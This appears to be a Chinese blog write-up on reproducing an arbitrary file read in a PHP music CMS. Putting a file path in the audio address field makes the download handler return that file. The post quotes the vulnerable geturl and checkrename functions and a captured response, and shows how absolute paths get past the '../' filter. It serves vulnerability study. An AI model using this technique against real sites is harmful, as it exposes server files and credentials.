怎么发现的,我也不懂啊。师傅怎么说,我跟着照做,毕竟技术不到位啊。
功能点分析,反正这个下载的按钮可以存在漏洞。
复现过程
概述
这个漏洞产生在用户端,首先去注册一个用户账号。
登录后,进入上传音乐这里
上传音乐这里音频地址可以自己写想读的文件地址。
搞到之后点击提交。
之后我们可以下载这段音频,在下载的时候我们可以读取到我们需要的文件内容。
为什么在下载的时候我们可以读取到需要的内容呢,这个就得看代码了。
代码
首先看一下刚刚下载那里对应的代码。文件路径为:
对应的下载代码为:
在下载音频的时候会执行readfile函数,这里的$file
就是我们上传音乐时填写的文件路径。
通过上面的代码发现$file = geturl($row['in_audio']);
接着我们来看一下$row
是啥
audio.php代码的上半部分有写$row
哪来的,$row
就是music表中的一条数据。
我们来看一下music表中的数据长啥样。
根据music表我们得知,in_audio对应的就是音频的下载地址。同时也是之前readfile($file)
里的$file
的值。
至于geturl()函数是啥,它的作用是拼接出一个完整的url地址。
geturl函数
function geturl($file, $type=''){
if(preg_match('/^(data\/attachment|plugin.php)/', $file)){
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH.$file;
}elseif(empty($file)){
switch($type){
case 'lyric':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/nolyric.lrc";
break;
case 'cover':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/nocover.png";
break;
case 'avatar':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/noavatar.jpg";
break;
case 'photo':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/nophoto.png";
break;
default:
$url = NULL;
break;
}
}else{
$url = $file;
}
return $url;
}
小结,我们似乎只要在上传音乐的时候,在音频地址那栏写下想要读取的文件地址即可读取任意文件了,接下来我们验证一下。
验证
读取同一级目录下的文件
我将读取与readfile函数所在文件audio.php处于同一级目录下的a.txt文件中的内容。
情况如下:
1.上传一个音频,并且音频地址填上a.txt
2.去下载页面下载音频。
似乎都非常顺利,我们打开下载的a.txt,结果发现里面的内容和我们想象的不一样。
出了点问题,接下来我们需要抓包分析一下。
3.去抓下载时的数据
send to repeater,在这里我们发现响应的下载数据包里其实是有我们想要的内容的,但不知为何没有写入文件中。
响应包报文
HTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Sun, 18 Dec 2022 09:27:22 GMT
Content-Type: application/force-download
Content-Length: 209
Connection: close
X-Powered-By: PHP/5.5.9
Content-Disposition: attachment; filename=a.txt
<br />
<font size='1'><table class='xdebug-error xe-warning' dir='ltr' border='1' cellspacing='0' cellpadding='1'>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Warning: get_headers(): This function may only be used against URLs in C:\myProgram\phpstudy_pro\WWW\earmusic\template\default\source\audio.php on line <i>27</i></th></tr>
<tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr>
<tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr>
<tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0020</td><td bgcolor='#eeeeec' align='right'>259528</td><td bgcolor='#eeeeec'>{main}( )</td><td title='C:\myProgram\phpstudy_pro\WWW\earmusic\template\default\source\audio.php' bgcolor='#eeeeec'>...\audio.php<b>:</b>0</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0314</td><td bgcolor='#eeeeec' align='right'>557640</td><td bgcolor='#eeeeec'><a href='http://www.php.net/function.get-headers' target='_new'>get_headers</a>
( <span><font color='#cc0000'>string(5)</font></span>, <span><font color='#4e9a06'>long</font></span> )</td><td title='C:\myProgram\phpstudy_pro\WWW\earmusic\template\default\source\audio.php' bgcolor='#eeeeec'>...\audio.php<b>:</b>27</td></tr>
</table></font>
<br />
<font size='1'><table class='xdebug-error xe-warning' dir='ltr' border='1' cellspacing='0' cellpadding='1'>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Warning: array_key_exists() expects parameter 2 to be array, boolean given in C:\myProgram\phpstudy_pro\WWW\earmusic\template\default\source\audio.php on line <i>28</i></th></tr>
<tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr>
<tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr>
<tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0020</td><td bgcolor='#eeeeec' align='right'>259528</td><td bgcolor='#eeeeec'>{main}( )</td><td title='C:\myProgram\phpstudy_pro\WWW\earmusic\template\default\source\audio.php' bgcolor='#eeeeec'>...\audio.php<b>:</b>0</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0438</td><td bgcolor='#eeeeec' align='right'>558272</td><td bgcolor='#eeeeec'><a href='http://www.php.net/function.array-key-exists' target='_new'>array_key_exists</a>
( <span><font color='#cc0000'>string(14)</font></span>, <span><font color='#75507b'>bool</font></span> )</td><td title='C:\myProgram\phpstudy_pro\WWW\earmusic\template\default\source\audio.php' bgcolor='#eeeeec'>...\audio.php<b>:</b>28</td></tr>
</table></font>
hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello
hello
hello
hello
hellohellohello
hello
hello
hellohello
hello
hello
hellohello
hello
OK,到这里我们已经成功读取在同一路径下的文件了,那么似乎读取其他位置的文件也只需要利用../进行目录跳转即可,但是事实并非这样,这套程序存在对./
的正则过滤,接下来让我们验证一下。
读取不同级目录下的文件
失败
为了方便,我选择在audio.php所在目录的上一级目录下创建了b.txt文件。具体如下:
上传音频
然后我们发现刚刚上传的音频的文件地址被过滤修改了
通过抓包分析发现,对上传音频时进行过滤的文件所在为:
其中对in_auido进行过滤的代码为:
其中,对其进行正则过滤的是checkrename函数,具体如下:
checkrename函数
function checkrename($file, $dir, $old='', $mode='add', $table='', $field='', $id=0){
$file = preg_match('/(\.\/|\?iframe=|.php\?)/i', $file) ? 'Safety filter' : $file;
if($mode == 'add'){
if(preg_match("/^data\/tmp\/\d/", $file)){
$var = str_replace('tmp', $dir, $file);
@rename(IN_ROOT.$file, IN_ROOT.$var);
return $var;
}else{
return $file;
}
}else{
if($file !== $old){
SafeDel($table, $field, $id);
if(preg_match("/^data\/tmp\/\d/", $file)){
$var = str_replace('tmp', $dir, $file);
@rename(IN_ROOT.$file, IN_ROOT.$var);
return $var;
}else{
return $file;
}
}else{
return $file;
}
}
}
$file = preg_match('/(\.\/|\?iframe=|.php\?)/i', $file) ? 'Safety filter' : $file;
如何绕过呢?使用绝对路径
成功
上传音频,使用绝对路径:C:/myProgram/phpstudy_pro/WWW/earmusic/template/default/b.txt
抓包结果,成功读取。